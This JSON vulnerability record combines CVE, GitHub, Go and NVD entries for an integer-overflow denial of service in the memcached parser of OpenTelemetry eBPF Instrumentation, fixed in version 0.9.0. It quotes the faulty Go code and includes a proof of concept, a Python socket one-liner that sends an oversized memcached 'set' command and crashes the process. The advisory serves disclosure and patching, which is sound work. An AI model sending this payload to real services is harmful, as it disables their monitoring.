{"id":"CVE-2026-45686","aliases":["CVE-2026-45686","GHSA-43g7-cwr8-q3jh","GO-2026-5107"],"related":[],"kind":"vulnerability","state":"published","title":"OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI","summary":"OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as `set`, `add`, `replace`, `append`, `prepend`, or `cas`, OBI accepts extremely large `<bytes>` values and adds the payload delimiter length without checking for overflow. A crafted request with `<bytes>` set to `math.MaxInt` or `math.MaxInt-1` causes the computed payload length to wrap negative and triggers a runtime panic in `LargeBufferReader.Peek`.\n\n### Details\n\nThe issue is in the memcached request parser at `pkg/ebpf/common/memcached_detect_transform.go`.\n\n`memcachedCommandBytesField` parses the storage command `<bytes>` field with `strconv.Atoi` and only rejects negative values:\n\n```go\nsize, err := strconv.Atoi(string(fields[4]))\nif err != nil || size < 0 {\n\treturn 0, false\n}\n```\n\nBecause there is no upper bound check, values up to `math.MaxInt` are accepted.\n\n`memcachedConsumeStoragePayload` then computes the payload length by adding the trailing `\\r\\n` delimiter length:\n\n```go\npayloadLen := bytesField + len(memcachedDelimBytes)\npayload, err := r.Peek(payloadLen)\n```\n\nIf `bytesField` is `math.MaxInt` or `math.MaxInt-1`, this addition overflows the signed `int` and produces a negative `payloadLen`.\n\nThat negative length is passed into `LargeBufferReader.Peek` in `pkg/internal/largebuf/large_buffer.go`. `Peek` checks whether `n > Remaining()` but does not reject negative values before slicing:\n\n```go\nif r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {\n\treturn r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil\n}\n```\n\nWith a negative `n`, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.\n\nAffected logic identified by the scan:\n\n- `pkg/ebpf/common/memcached_detect_transform.go:322`\n- `pkg/ebpf/common/memcached_detect_transform.go:386`\n- `pkg/internal/largebuf/large_buffer.go:501`\n\n### PoC\n\nThe repository already contains a runnable memcached fixture under `internal/test/oats/memcached/`. The steps below reproduce the crash using only files from this repository.\n\n1. From the repository root, start the checked-in memcached environment:\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     up --build\n   ```\n\n   This starts:\n\n   - `memcached` on port `11211`\n   - `testserver`, the Python app in `internal/test/integration/components/pythonmemcached/main.py`\n   - `autoinstrumenter`, the OBI process launched with `--config=/configs/instrumenter-config-traces.yml`\n\n   The relevant repo-local files are:\n\n   - `internal/test/oats/memcached/docker-compose-obi-python-memcached.yml`\n   - `internal/test/oats/memcached/configs/instrumenter-config-traces.yml`\n\n2. In a second shell, confirm the environment is working:\n\n   ```bash\n   curl http://127.0.0.1:8080/memcached\n   ```\n\n3. From the same repository root, send a crafted memcached storage command from inside the instrumented `testserver` container. On 64-bit systems, use `9223372036854775807` (`math.MaxInt`):\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     exec testserver \\\n     python -c 'import socket; s=socket.create_connection((\"memcached\",11211), timeout=5); s.sendall(b\"set crash 0 0 9223372036854775807\\r\\nvalue\\r\\n\"); s.close()'\n   ```\n\n   On 32-bit systems, replace `9223372036854775807` with `2147483647`.\n\n4. OBI parses the request header, accepts the `<bytes>` field as an `int`, and computes:\n\n   ```go\n   payloadLen = bytesField + len(\"\\r\\n\")\n   ```\n\n5. That addition overflows negative and the negative `payloadLen` is passed to `LargeBufferReader.Peek`, which slices with an invalid bound and panics.\n\n6. Confirm the crash by checking the `autoinstrumenter` container status or logs:\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     ps autoinstrumenter\n   ```\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     logs autoinstrumenter\n   ```\n\n   The expected result is that the OBI process crashes with a panic originating from `LargeBufferReader.Peek`, with the call path including `memcachedConsumeStoragePayload`.\n\n### Impact\n\nThis is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.\n\nImpacted deployments are those where:\n\n- OBI is running with the vulnerable memcached parser, and\n- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.\n\nA successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.","format":"markdown","source":"ghsa"},{"lang":"en","text":"OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI in go.opentelemetry.io/obi","format":"markdown","source":"go"},{"lang":"es","text":"OpenTelemetry eBPF Instrumentation proporciona instrumentación eBPF basada en el estándar OpenTelemetry. Desde la versión 0.7.0 hasta antes de la versión 0.9.0, un desbordamiento de entero accesible remotamente en el analizador del protocolo de texto de memcached de OBI puede bloquear el proceso de OBI y causar denegación de servicio. Al analizar comandos de almacenamiento de memcached como set, add, replace, append, prepend o cas, OBI acepta valores <bytes> extremadamente grandes y añade la longitud del delimitador de la carga útil sin comprobar si hay desbordamiento. Una solicitud manipulada con <bytes> establecido en math.MaxInt o math.MaxInt-1 hace que la longitud de la carga útil calculada se envuelva a negativo y desencadena un pánico en tiempo de ejecución en LargeBufferReader.Peek. Este problema ha sido parcheado en la versión 0.9.0.","source":"nvd"}],"published":"2026-05-18T20:21:52.000Z","modified":"2026-07-22T19:10:00.120Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-190"],"affected":[{"ranges":[{"version":">= 0.7.0, < 0.9.0","status":"affected"}],"vendor":"open-telemetry","product":"opentelemetry-ebpf-instrumentation","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.7.0","status":"affected","fixed":"0.9.0"}],"ecosystem":"Go","package":"go.opentelemetry.io/obi","purl":"pkg:golang/go.opentelemetry.io/obi","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.7.0","status":"affected","fixed":"0.9.0"}],"ecosystem":"Go","package":"go.opentelemetry.io/obi","purl":"pkg:golang/go.opentelemetry.io/obi","source":"go"},{"ranges":[{"status":"affected","introduced":"0.7.0","fixed":"0.9.0"}],"vendor":"opentelemetry","product":"ebpf_instrumentation","cpe":"cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45686","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-03T13:47:57.502Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45686","url":"https://www.cve.org/CVERecord?id=CVE-2026-45686","licence":"CVE Terms of Use","modified":"2026-06-03T13:48:21.673Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-43g7-cwr8-q3jh","url":"https://github.com/advisories/GHSA-43g7-cwr8-q3jh","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:17.639Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5107","url":"https://pkg.go.dev/vuln/GO-2026-5107","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:20.876Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45686","licence":"Public domain","modified":"2026-07-22T19:10:00.120Z"}],"updatedAt":"2026-11-25T22:59:23.576Z","epss":{"score":0.00354,"percentile":0.31077,"date":"2026-12-02T12:00:21.000Z"}}